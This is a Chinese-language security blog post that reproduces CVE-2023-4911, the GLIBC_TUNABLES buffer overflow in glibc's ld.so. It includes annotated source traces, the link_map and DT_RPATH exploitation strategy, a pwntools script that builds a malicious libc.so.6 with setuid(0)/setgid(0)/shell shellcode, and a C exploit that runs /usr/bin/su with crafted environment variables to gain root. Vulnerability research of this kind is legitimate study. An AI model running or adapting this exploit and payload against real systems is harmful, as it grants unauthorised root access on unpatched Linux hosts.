Skip to main content

「PWN」CVE-2023-4911 复现

· 28 min read
Muel - Nova

最近接触到了这个洞,感觉利用面还是挺广的,虽然国内绝大多数机子似乎 libc 版本都挺低的(),总而言之先调调看看吧。

环境搭建

测试环境

OS: Ubuntu 22.04.1 LTS on Windows 10 x86_64

Kernel: 5.15.123.1-microsoft-standard-WSL2

Glibc: 2.35-0ubuntu3.3

测试效果

leesh3288/CVE-2023-4911

image-20231031171256500

漏洞点

在执行 set-user-IDset-group-ID 程序时,代码会以特权模式执行。在 commit 2ed18c("Fix SXID_ERASE behavior in setuid programs (BZ #27471)") (glibc2.34) 中引入了一个处理 GLIBC_TUNABLES 环境变量时的缓存区溢出漏洞。

我们可以观察一下 glibc源码

------------------------------------------------------------------------
269 void
270 __tunables_init (char **envp)
271 {
272 char *envname = NULL;
273 char *envval = NULL;
274 size_t len = 0;
275 char **prev_envp = envp;
...
279 while ((envp = get_next_env (envp, &envname, &len, &envval,
280 &prev_envp)) != NULL)
281 {
282 if (tunable_is_name ("GLIBC_TUNABLES", envname))
283 {
284 char *new_env = tunables_strdup (envname);
285 if (new_env != NULL)
286 parse_tunables (new_env + len + 1, envval);
287 /* Put in the updated envval. */
288 *prev_envp = new_env;
289 continue;
290 }
------------------------------------------------------------------------

__tunables_init() 函数定义这里,我们可以观察到它首先对 envname 进行了判断(#282),判断条件是 orig == envname,且后一位 envname == '=' && orig == '\0'

static __always_inline bool
tunable_is_name (const char *orig, const char *envname)
{
for (;*orig != '\0' && *envname != '\0'; envname++, orig++)
if (*orig != *envname)
break;

/* The ENVNAME is immediately followed by a value. */
if (*orig == '\0' && *envname == '=')
return true;
else
return false;
}

此后,它会对找到的 envname 进行 tunables_strdup 深拷贝(#284)

static char *
tunables_strdup (const char *in)
{
size_t i = 0;

while (in[i++] != '\0');
char *out = __sbrk (i);

/* For most of the tunables code, we ignore user errors. However,
this is a system error - and running out of memory at program
startup should be reported, so we do. */
if (out == (void *)-1)
_dl_fatal_printf ("sbrk() failure while processing tunables\n");

i--;

while (i-- > 0)
out[i] = in[i];

return out;
}

对副本进行拷贝后,它将原本的 GLIBC_TUNABLES 过滤后替换为副本(利用 parse_tunables(),其中第一个参数是环境变量副本的值对应的指针,第二个参数是原始的环境变量的值的指针)

image-20231101214113985

parse_tunables() 中,它会移除所有 arg1 里的危险 tunables( SXID_ERASE ),但会保留 SXID_IGNORENONE,关于这点我们后面再说。 GLIBC_TUNABLES 的格式为 GLIBC_TUNABLES=aaa=111:bbb=222,在前面都是对一些情况的判断,如没有赋值的情况等,但我们考虑一种情况:当我们的 GLIBC_TUNABLES=AAA=AAA=BBB 时,我们查看程序流:

// 第一次
static void
parse_tunables (char *tunestr, char *valstring)
{
if (tunestr == NULL || *tunestr == '\0')
return;

char *p = tunestr; // >> [A]AA=AAA=BBB
size_t off = 0;

while (true)
{
char *name = p;
size_t len = 0;

/* First, find where the name ends. */
while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
len++;
// >> len = 3
/* If we reach the end of the string before getting a valid name-value
pair, bail out. */
if (p[len] == '\0')
{
if (__libc_enable_secure)
tunestr[off] = '\0';
return;
}

/* We did not find a valid name-value pair before encountering the
colon. */
if (p[len]== ':')
{
p += len + 1;
continue;
}

p += len + 1; // >> AAA=[A]AA=BBB

/* Take the value from the valstring since we need to NULL terminate it. */
char *value = &valstring[p - tunestr]; // >> AAA=[A]AA=BBB
len = 0;

while (p[len] != ':' && p[len] != '\0')
len++; // >> len=7

/* Add the tunable if it exists. */
for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
{
tunable_t *cur = &tunable_list[i];

if (tunable_is_name (cur->name, name))
{
/* If we are in a secure context (AT_SECURE) then ignore the
tunable unless it is explicitly marked as secure. Tunable
values take precedence over their envvar aliases. We write
the tunables that are not SXID_ERASE back to TUNESTR, thus
dropping all SXID_ERASE tunables and any invalid or
unrecognized tunables. */
if (__libc_enable_secure)
{
if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
{
if (off > 0) // off = 0
tunestr[off++] = ':';

const char *n = cur->name;

while (*n != '\0')
tunestr[off++] = *n++; // [AAA]=AAA=BBB

tunestr[off++] = '='; // >> AAA[=]AAA=BBB

for (size_t j = 0; j < len; j++)
tunestr[off++] = value[j]; // >> AAA=[AAA=BBB]
}

if (cur->security_level != TUNABLE_SECLEVEL_NONE)
break; // >> 触发
}

value[len] = '\0';
tunable_initialize (cur, value);
break;
}
}

if (p[len] != '\0') // AAA=[A]AA=BBB(), 所以没进入
p += len + 1;
}
}
// 第二次
static void
parse_tunables (char *tunestr, char *valstring)
{
if (tunestr == NULL || *tunestr == '\0')
return;

char *p = tunestr;
size_t off = 0;

while (true)
{
char *name = p; // AAA=[A]AA=BBB
size_t len = 0;

/* First, find where the name ends. */
while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
len++;
// >> len = 3
/* If we reach the end of the string before getting a valid name-value
pair, bail out. */
if (p[len] == '\0')
{
if (__libc_enable_secure)
tunestr[off] = '\0';
return;
}

/* We did not find a valid name-value pair before encountering the
colon. */
if (p[len]== ':')
{
p += len + 1;
continue;
}

p += len + 1; // AAA=AAA=[B]BB

/* Take the value from the valstring since we need to NULL terminate it. */
char *value = &valstring[p - tunestr]; // AAA=AAA=[B]BB
len = 0;

while (p[len] != ':' && p[len] != '\0')
len++; // >> len=3

/* Add the tunable if it exists. */
for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
{
tunable_t *cur = &tunable_list[i];

if (tunable_is_name (cur->name, name))
{
/* If we are in a secure context (AT_SECURE) then ignore the
tunable unless it is explicitly marked as secure. Tunable
values take precedence over their envvar aliases. We write
the tunables that are not SXID_ERASE back to TUNESTR, thus
dropping all SXID_ERASE tunables and any invalid or
unrecognized tunables. */
if (__libc_enable_secure)
{
if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
{
if (off > 0)
tunestr[off++] = ':'; // >> AAA=AAA=BBB[:]

const char *n = cur->name;

while (*n != '\0')
tunestr[off++] = *n++; // >> AAA=AAA=BBB:[AAA]

tunestr[off++] = '='; // >> AAA=AAA=BBB:AAA[=]

for (size_t j = 0; j < len; j++)
tunestr[off++] = value[j]; // >> AAA=AAA=BBB:AAA=[BBB]
}

if (cur->security_level != TUNABLE_SECLEVEL_NONE)
break; // >> 触发
}

value[len] = '\0';
tunable_initialize (cur, value);
break;
}
}

if (p[len] != '\0') // AAA=AAA=BBB[:]AAA=BBB,所以没进入
p += len + 1;
}
}

注意到此时我们已经溢出了 tunestr,但是还没完

// 第三次
static void
parse_tunables (char *tunestr, char *valstring)
{
if (tunestr == NULL || *tunestr == '\0')
return;

char *p = tunestr;
size_t off = 0;

while (true)
{
char *name = p; // AAA=AAA=BBB[:]AAA=BBB
size_t len = 0;

/* First, find where the name ends. */
while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
len++;
// >> len = 0
/* If we reach the end of the string before getting a valid name-value
pair, bail out. */
if (p[len] == '\0')
{
if (__libc_enable_secure)
tunestr[off] = '\0';
return;
}

/* We did not find a valid name-value pair before encountering the
colon. */
if (p[len]== ':')
{
p += len + 1;
continue;
}
// 第四次
static void
parse_tunables (char *tunestr, char *valstring)
{
if (tunestr == NULL || *tunestr == '\0')
return;

char *p = tunestr;
size_t off = 0;

while (true)
{
char *name = p; // AAA=AAA=BBB:[A]AA=BBB
size_t len = 0;

/* First, find where the name ends. */
while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
len++;
// >> len = 3
/* If we reach the end of the string before getting a valid name-value
pair, bail out. */
if (p[len] == '\0')
{
if (__libc_enable_secure)
tunestr[off] = '\0';
return;
}

/* We did not find a valid name-value pair before encountering the
colon. */
if (p[len]== ':')
{
p += len + 1;
continue;
}

p += len + 1; // AAA=AAA=BBB:AAA=[B]BB

/* Take the value from the valstring since we need to NULL terminate it. */
char *value = &valstring[p - tunestr]; // AAA=AAA=BBB\0UNEX[P]ECTED_STRING\0
len = 0;

while (p[len] != ':' && p[len] != '\0')
len++; // >> len=3

/* Add the tunable if it exists. */
for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
{
tunable_t *cur = &tunable_list[i];

if (tunable_is_name (cur->name, name))
{
/* If we are in a secure context (AT_SECURE) then ignore the
tunable unless it is explicitly marked as secure. Tunable
values take precedence over their envvar aliases. We write
the tunables that are not SXID_ERASE back to TUNESTR, thus
dropping all SXID_ERASE tunables and any invalid or
unrecognized tunables. */
if (__libc_enable_secure)
{
if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
{
if (off > 0)
tunestr[off++] = ':'; // >> AAA=AAA=BBB:AAA=BBB[:]

const char *n = cur->name;

while (*n != '\0')
tunestr[off++] = *n++; // >> AAA=AAA=BBB:AAA=BBB:[AAA]

tunestr[off++] = '='; // >> AAA=AAA=BBB:AAA=BBB:AAA=

for (size_t j = 0; j < len; j++)
tunestr[off++] = value[j]; // >> AAA=AAA=BBB:AAA=BBB:AAA=[PEC]
}

if (cur->security_level != TUNABLE_SECLEVEL_NONE)
break; // >> 触发
}

value[len] = '\0';
tunable_initialize (cur, value);
break;
}
}

if (p[len] != '\0') // AAA=AAA=BBB:AAA=[B]BB{:}AAA=PEC,进入
p += len + 1; // AAA=AAA=BBB:AAA=BBB:[A]AA=PEC
}
}
// 第五次
static void
parse_tunables (char *tunestr, char *valstring)
{
if (tunestr == NULL || *tunestr == '\0')
return;

char *p = tunestr;
size_t off = 0;

while (true)
{
char *name = p; // AAA=AAA=BBB:AAA=BBB:[A]AA=PEC
size_t len = 0;

/* First, find where the name ends. */
while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
len++;
// >> len = 3
/* If we reach the end of the string before getting a valid name-value
pair, bail out. */
if (p[len] == '\0')
{
if (__libc_enable_secure)
tunestr[off] = '\0';
return;
}

/* We did not find a valid name-value pair before encountering the
colon. */
if (p[len]== ':')
{
p += len + 1;
continue;
}

p += len + 1; // AAA=AAA=BBB:AAA=BBB:AAA=[P]EC

/* Take the value from the valstring since we need to NULL terminate it. */
char *value = &valstring[p - tunestr]; // AAA=AAA=BBB\0UNEXPECTED_S[T]RING\0
len = 0;

while (p[len] != ':' && p[len] != '\0')
len++; // >> len=3

/* Add the tunable if it exists. */
for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
{
tunable_t *cur = &tunable_list[i];

if (tunable_is_name (cur->name, name))
{
/* If we are in a secure context (AT_SECURE) then ignore the
tunable unless it is explicitly marked as secure. Tunable
values take precedence over their envvar aliases. We write
the tunables that are not SXID_ERASE back to TUNESTR, thus
dropping all SXID_ERASE tunables and any invalid or
unrecognized tunables. */
if (__libc_enable_secure)
{
if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
{
if (off > 0)
tunestr[off++] = ':'; // >> AAA=AAA=BBB:AAA=BBB:AAA=PEC[:]

const char *n = cur->name;

while (*n != '\0')
tunestr[off++] = *n++; // >> AAA=AAA=BBB:AAA=BBB:AAA=PEC:[AAA]

tunestr[off++] = '='; // >> AAA=AAA=BBB:AAA=BBB:AAA=PEC:AAA[=]

for (size_t j = 0; j < len; j++)
tunestr[off++] = value[j]; // >> AAA=AAA=BBB:AAA=BBB:AAA=PEC:AAA=TRI
}

if (cur->security_level != TUNABLE_SECLEVEL_NONE)
break; // >> 触发
}

value[len] = '\0';
tunable_initialize (cur, value);
break;
}
}

if (p[len] != '\0') // AAA=AAA=BBB:AAA=BBB:[A]AA={P}EC:AAA=TRI,进入
p += len + 1; // AAA=AAA=BBB:AAA=BBB:AAA=[P]EC:AAA=TRI
}
}

下一次由于 tunable_is_name (cur->name, name) 不再满足,退出。

我们可以进行简单的测试:

image-20231101223816721

利用思路

既然我们已经找到了漏洞点,那么我们就要思考如何利用它了。首先来看 tunestr,它是由 tunables_strdup 分配的。在这里,根据 commit 33237fe,已经将 sbrk 更换为了 __minimal_malloc() 函数(因此 glibc2.34 实际上无法使用这个 exp),观察函数可以知道它只是一个 mmap 的包装实现而已。此时我们观察 vmmap,发现此时可写的地方很少,只有 ld.so 本身的可读可写段(第一页是 RELRO 段,在后面会被 mprotect 改写为只读;不过第二页可以用),但是我们观察 __minimal_malloc,可以知道它至少分配两页,因此我们的缓存区不可能分配在 ld.so 的第二页。

Insufficient space left; allocate another page plus one extra page to reduce number of mmap calls.

因此我们只能溢出到 __minimal_malloc 分配出的页上。注意到 __tunables_init 可以处理多个环境变量,因此我们可以考虑这样:构建两个 GLIBC_TUNABLES 环境变量,第一个不溢出(长度大到不能被 ld.so 的读写段装下,而是使用 mmap 分配),第二个溢出(也同样长到使用 mmap 分配,由于 mmap 是从高到低分配的,所以这个会在第一个的下方),使其覆盖第一个 GLIBC_TUNABLES

这里看原文+调试的时候稍微有点没理解,因为观察到第二个确实在 ld 下方,但是溢出不到第一个,是因为其实 EXP 并没有使用这种方法。EXP 的第一个 GLIBC_TUNABLES 变量单纯用来填充满 ld.so 的读写段,而并非像这里提到的溢出。

然而这个思路是不可行的。如果覆盖第一个 GLIBC_TUNABLES,我们只有两个利用思路:

  1. 将其覆盖为 LD_PRELOAD 或者 LD_LIBRARY_PATH 使其指向我们的恶意 ld 路径。但这是不可行的,因为这些环境变量后面在 ld 初始化时会经由 process_envvars() 被清除。
  2. 将其覆盖为 SXID_ERASE 的 tunables 。根据漏洞点里提到的内容,它会清除属于 SXID_ERASE 的 tunables,而我们此时溢出时它已经被清理过了,因此写它是完全没有问题的。然而问题是在 Linux 下不存在这样一个 SUID-root 程序(既运行 setuid(0)execve 其它程序,又在运行时保留之前的环境变量)(例如在 OpenBSD 上,/usr/bin/chpass 会首先 setuid(0) 然后执行 execve(/usr/sbin/pwd_mkdb)

但是在 _dl_new_object() 中(真不知道他们是怎么找到的这个调用链的,fuzz?),存在一个链表 link_map,它的内存其实是由 calloc 分配的,也就是我们的 __minimal_calloc,但是这个函数仅仅调用了 __minimal_malloc 而没有初始化为 0

根据 backtrace,在 _dl_sysdep_start+930 的位置调用了 __tunables_init,在 _dl_sysdep_start+1020->dl_main+2403 的地方调用了 _dl_new_object,中间实在是隔了十座大山。

/* We use this function occasionally since the real implementation may
be optimized when it can assume the memory it returns already is
set to NUL. */
void *
__minimal_calloc (size_t nmemb, size_t size)
{
/* New memory from the trivial malloc above is always already cleared.
(We make sure that's true in the rare occasion it might not be,
by clearing memory in free, below.) */
size_t bytes = nmemb * size;

#define HALF_SIZE_T (((size_t) 1) << (8 * sizeof (size_t) / 2))
if (__builtin_expect ((nmemb | size) >= HALF_SIZE_T, 0)
&& size != 0 && bytes / size != nmemb)
return NULL;

return malloc (bytes);
}

这原本是合理的,因为根据 __minimal_malloc 的逻辑,它总是返回全 0 的内存块,但是当我们有了一个缓存区溢出后就不一样了。根据 exp 加上我们的测试,这个返回的内存块距离我们的第二个 GLIBC_TUNABLES 变量仅有 0xc40 的距离,这是完全够我们覆盖的。

image-20231102020007572

原文里说 but we failed because of two assert()ion failures in setup_vdso(), which immediately abort() ld.so,但是我测试修改 l_nextl_prev 时并没有报 assert(我仅仅修改了第一个的 l_nextl_prev),且查看 _dl_new_object 的代码,返回的是新的链表头,也不应该有错误,所以我估计是溢出太多溢到了第二个 link_map,也就是 setup_vdso 所调用返回的 link_map,所以这里是否能直接修改有待挖掘,在本文中,我们继续按照原文思路。

既然我们可以修改 l_nextl_prev,那自然其它 link_map 的指针我们也能修改,其中最值得关注的就是 l_info,因为它是一个 Elf64_Dyn 结构体的指针数组。其中 l_info[DT_RPATH] 这个指针可以指定我们的运行时 ld 搜索目录。我们只要覆盖这个指针,控制它指向的位置和内容,就可以让 ld.so 强制信任我们自己的 libc.so.6 或者是 LD_PRELOAD 库。那么控制这个指针指向的位置是什么呢?思考我们可以控制的位置,除了这几个可写的段,就是环境变量所处的栈了。显然写在栈上会更方便一些。

根据 bprm_stack_limit(),可以知道我们使用 argv + envp 最多占用 6MB(8MB / 4 * 3) 的内存大小。而在 AMD64 的情况下,栈在虚拟地址空间中首先会从 2 << 47 处开始分配 STACK_TOP,然后进行 randomize_stack_top,如果在 ASLR 开启的情况下,就会进行偏移。这个偏移范围是 0x3fffff * PAGE_SIZE,也就是 16GB 的范围,具体可以从arch/x86/include/asm/elf.h 找到 STACK_RND_MASK 的值。

unsigned long randomize_stack_top(unsigned long stack_top)
{
unsigned long random_variable = 0;

if (current->flags & PF_RANDOMIZE) {
random_variable = get_random_long();
random_variable &= STACK_RND_MASK;
random_variable <<= PAGE_SHIFT;
}
#ifdef CONFIG_STACK_GROWSUP
return PAGE_ALIGN(stack_top) + random_variable;
#else
return PAGE_ALIGN(stack_top) - random_variable;
#endif
}

因此,如果我们将 l_info[DT_RPATH] 指向的地址改为栈区域的中心再减掉我们 envp 的偏移(其实也不用,毕竟范围挺大了),也就是大概 0x7ffdfffff030 的位置,那么我们就有 $6MB/16GB\approx \frac12730$ 的概率击中我们的输入。现在的问题就是我们要输入什么?

让我们来看 l_info[DT_RPATH],这是一个 Elf64_Dyn 指针,存在时,它将会运行 decompose_rpath 来信任目录(相对目录)。值得注意的是,这里它的计算是采用 (D_PTR (l, l_info[DT_STRTAB]) + l->l_info[DT_RPATH]->d_un.d_val 来操作的。对于这个宏,因为 amd64 已经进行了 ld 重定位,因此我们可以直接计算。它其实指向的是 l_info[DT_STRTAB]->d_un.d_ptr + l_info[DT_RPATH]->d_un.d_val 的位置。

      if (l->l_info[DT_RPATH])
{
/* Allocate room for the search path and fill in information
from RPATH. */
decompose_rpath (&l->l_rpath_dirs,
(const void *) (D_PTR (l, l_info[DT_STRTAB])
+ l->l_info[DT_RPATH]->d_un.d_val),
l, "RPATH");
/* During rtld init the memory is allocated by the stub
malloc, prevent any attempt to free it by the normal
malloc. */
l->l_rpath_dirs.malloced = 0;
}

#define D_PTR(map, i) \
((map)->i->d_un.d_ptr + (dl_relocate_ld (map) ? 0 : (map)->l_addr))

那么这个内存中有什么呢?给出如下内存布局。可以看到分别对应 d_tagd_ptr/d_val$9 也就是 l_info[DT_STRTAB]0xcff0 也就是 l_info[DT_STRTAB]->d_un.d_ptr 的位置。我们观察它的前后,就能在 -0x14 的位置发现一个单独的 ",这显然很适合作为我们的目录。我们只需要使得 l_info[DT_RPATH]->d_un.d_val 的位置填入 0xffffffffffec 即可指向我们的 " 目录。

image-20231102161009732

但是此时我们还有最后一个问题:我们要溢出到 l_info[RT_PATH],但不能修改 l_prevl_next(如果可能,我们希望其它也是 NULL 来规避一些其它的检查)此时回到 parse_tunables 函数,我们可以发现它拷贝是使用的栈上的数据,因此拷贝 NULL 字节显然是可行的。

// 第四次
static void
parse_tunables (char *tunestr, char *valstring)
{
if (tunestr == NULL || *tunestr == '\0')
return;

char *p = tunestr;
size_t off = 0;

while (true)
{
char *name = p; // AAA=AAA=BBB:[A]AA=BBB
size_t len = 0;

/* First, find where the name ends. */
while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
len++;
// >> len = 3
/* If we reach the end of the string before getting a valid name-value
pair, bail out. */
if (p[len] == '\0')
{
if (__libc_enable_secure)
tunestr[off] = '\0';
return;
}

/* We did not find a valid name-value pair before encountering the
colon. */
if (p[len]== ':')
{
p += len + 1;
continue;
}

p += len + 1; // AAA=AAA=BBB:AAA=[B]BB

/* Take the value from the valstring since we need to NULL terminate it. */
char *value = &valstring[p - tunestr]; // AAA=AAA=BBB\0\0\0\0\0[\0]\0\0
len = 0;

while (p[len] != ':' && p[len] != '\0')
len++; // >> len=3

/* Add the tunable if it exists. */
for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
{
tunable_t *cur = &tunable_list[i];

if (tunable_is_name (cur->name, name))
{
/* If we are in a secure context (AT_SECURE) then ignore the
tunable unless it is explicitly marked as secure. Tunable
values take precedence over their envvar aliases. We write
the tunables that are not SXID_ERASE back to TUNESTR, thus
dropping all SXID_ERASE tunables and any invalid or
unrecognized tunables. */
if (__libc_enable_secure)
{
if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
{
if (off > 0)
tunestr[off++] = ':'; // >> AAA=AAA=BBB:AAA=BBB[:]

const char *n = cur->name;

while (*n != '\0')
tunestr[off++] = *n++; // >> AAA=AAA=BBB:AAA=BBB:[AAA]

tunestr[off++] = '='; // >> AAA=AAA=BBB:AAA=BBB:AAA=

for (size_t j = 0; j < len; j++)
tunestr[off++] = value[j]; // >> AAA=AAA=BBB:AAA=BBB:AAA=[\0\0\0]
}

if (cur->security_level != TUNABLE_SECLEVEL_NONE)
break; // >> 触发
}

value[len] = '\0';
tunable_initialize (cur, value);
break;
}
}

if (p[len] != '\0') // AAA=AAA=BBB:AAA=[B]BB{:}AAA=PEC,进入
p += len + 1; // AAA=AAA=BBB:AAA=BBB:[A]AA=\0\0\0
}
}
// 第五次
static void
parse_tunables (char *tunestr, char *valstring)
{
if (tunestr == NULL || *tunestr == '\0')
return;

char *p = tunestr;
size_t off = 0;

while (true)
{
char *name = p; // AAA=AAA=BBB:AAA=BBB:[A]AA=\0\0\0
size_t len = 0;

/* First, find where the name ends. */
while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
len++;
// >> len = 3
/* If we reach the end of the string before getting a valid name-value
pair, bail out. */
if (p[len] == '\0')
{
if (__libc_enable_secure)
tunestr[off] = '\0';
return;
}

/* We did not find a valid name-value pair before encountering the
colon. */
if (p[len]== ':')
{
p += len + 1;
continue;
}

p += len + 1; // AAA=AAA=BBB:AAA=BBB:AAA=[\0]\0\0

/* Take the value from the valstring since we need to NULL terminate it. */
char *value = &valstring[p - tunestr]; // AAA=AAA=BBB\0\0\0\0\0\0\0\0\0\0\0\0\0[\0]\0\0
len = 0;

while (p[len] != ':' && p[len] != '\0')
len++; // >> len=0

/* Add the tunable if it exists. */
for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
{
tunable_t *cur = &tunable_list[i];

if (tunable_is_name (cur->name, name))
{
/* If we are in a secure context (AT_SECURE) then ignore the
tunable unless it is explicitly marked as secure. Tunable
values take precedence over their envvar aliases. We write
the tunables that are not SXID_ERASE back to TUNESTR, thus
dropping all SXID_ERASE tunables and any invalid or
unrecognized tunables. */
if (__libc_enable_secure)
{
if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
{
if (off > 0)
tunestr[off++] = ':'; // AAA=AAA=BBB:AAA=BBB:AAA=\0\0\0[:]

const char *n = cur->name;

while (*n != '\0')
tunestr[off++] = *n++; // AAA=AAA=BBB:AAA=BBB:AAA=\0\0\0:[AAA]

tunestr[off++] = '='; // AAA=AAA=BBB:AAA=BBB:AAA=\0\0\0:AAA=

for (size_t j = 0; j < len; j++)
tunestr[off++] = value[j]; // AAA=AAA=BBB:AAA=BBB:AAA=\0\0\0:AAA=
}

if (cur->security_level != TUNABLE_SECLEVEL_NONE)
break; // >> 触发
}

value[len] = '\0';
tunable_initialize (cur, value);
break;
}
}

if (p[len] != '\0') // AAA=AAA=BBB:AAA=BBB:AAA=[\0]\0\0:AAA=
p += len + 1;
}
}
// 下一次退出

因此,我们攻击链已经很明显了:构建一个恶意的 libc.so.6 放在 " 目录下,然后溢出 l_info[RT_PATH] 指向栈上,栈上存上大量的 0xffffffffffcb,只要命中,就会信任我们的恶意 libc.so.6,从而拿到 root。

exp

接下来就是攻击脚本编写了。首先我们构建恶意的 libc.so.6。通过将 __libc_start_main 改写为 shellcode(setuid(0) + setgid(0) + sh()) 即可做到。

from pwn import *

context(arch='amd64', os='linux')

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

d = bytearray(open(libc.path, 'rb').read())
idx = d.find(libc.read(libc.symbols['__libc_start_main'], 0x10))

sc = asm(shellcraft.setuid(0) + shellcraft.setgid(0) + shellcraft.sh())

d[idx:idx+len(sc)] = sc

mkdir_p('"')
open('"/libc.so.6', 'wb').write(d)

我们首先要填满 ld.so 的读写段,让我们后面的攻击在另一个新开的段上,在这里,使用 0x1000 左右大小的即可。

此时,我们需要知道 l_info[RT_PATH] 的偏移。由于 __minimal_malloc 将会立即在我们的第二个 GLIBC_TUNABLES 后面开辟内存,所以任何溢出都会导致它 l_prev 之类的位置被改写,想要将它放到一个较为安全的位置,我们可以考虑再多加第三个 GLICB_TUNABLES 作为分割。

image-20231102192052434

首先我们计算第一次溢出了多少字节::<NAME>=*2 + <VALUE>,然后来到环境变量之后的 :<NAME>= 的偏移处,继续拷贝并溢出 len(<VALUE>) 个字节,后面的我们不再考虑。在我们这里,我们的 :<NAME>= 为 21 字节。经过计算,拷贝的第一个字节在 0x5f1 处,对应 envp[2+0x14],而 l_info[RT_PATH]0x6d8 处,对应 envp[2+0x14+(0x6d8-0x5f1)]=envp[0xfd]。我们测试一下

image-20231102194335230

可以看到确实成功了。此时我们就可以修改它指向栈上了。在这里,我们填充 5MB 的 -0x14。

image-20231102201404189

可以看到,此时参数已经全部准备完毕。

image-20231102201647910

成功加载恶意 libc

image-20231102201918449

image-20231102202005103

最终 exp,需要断在 dl-object.c:92 处手动设置 l_info[RT_PATH] 为栈上的地址,否则得要写一个循环爆破,懒得写了。

// gcc -DNO_ASLR exp.c -g -o exp
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

int main() {
char *envp[0x1000] = {NULL};
char *argv[] = {"/usr/bin/su", "--help", NULL};

// 初始化 envp
for (int i = 0; i < 0xfff; i++) {
envp[i] = "";
}

// 填满 ld.so 读写段
char p[0xd00];
strcpy(p, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
for (int i = strlen(p); i < sizeof(p) - 1; i++) {
p[i] = 'A';
}
p[sizeof(p) - 1] = '\0';
envp[0] = p;

// overflow
char overflow[0x300];
strcpy(overflow, "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast="); // 55
for (int i = strlen(overflow); i < sizeof(overflow) - 1; i++) {
overflow[i] = 'B';
}
overflow[sizeof(overflow) - 1] = '\0';
envp[1] = overflow;


// 分割块
char p2[0x300];
strcpy(p2, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
for (int i = strlen(p2); i < sizeof(p2) - 1; i++) {
p2[i] = 'C';
}
p2[sizeof(p2) - 1] = '\0';
envp[0x500] = p2;

// 栈
char dt_rpath[0x10000]; // 1MB
for( int i = 0; i<sizeof(dt_rpath); i+=8) {
*(unsigned long long *)&dt_rpath[i] = -0x14;
}
for (int i = 0xff0; i < 0xff6; i++) {
envp[i] = dt_rpath;
}
envp[0xff6] = "AAAAA"; // alignment
envp[0xfd] = "MuElnova";


execve(argv[0], argv, envp);
}

修复

通过检测输入是否完成( p[len] == '\0')来修复。

image-20231102202907959

备注

如何构建不同版本的 GLIBC?

在 PoC 发布时,GNU 已经发布了 GLIBC 2.35-0ubuntu3.4,且删除了在软件源中的 GLIBC 2.35-0ubuntu3.3,因此我们必须降级安装。

2.35-0ubuntu3.3 : glibc package : Ubuntu (launchpad.net),不同的版本搜索就行了。

# 需要同时安装 amd64/i386 的 tarball
# https://launchpad.net/ubuntu/jammy/i386/libc6/2.35-0ubuntu3.3
# https://launchpad.net/ubuntu/jammy/amd64/libc6/2.35-0ubuntu3.3
# Downloadable files

dpkg -i libc6_2.35*.deb

参考资料

oss-sec: CVE-2023-4911: Local Privilege Escalation in the glibc's ld.so (seclists.org)

Tunables (The GNU C Library)

Linux进程栈空间大小 - Tiehichi's Blog

Linux ASLR的实现 - 简单地快乐 - 博客园 (cnblogs.com)

Loading Comments...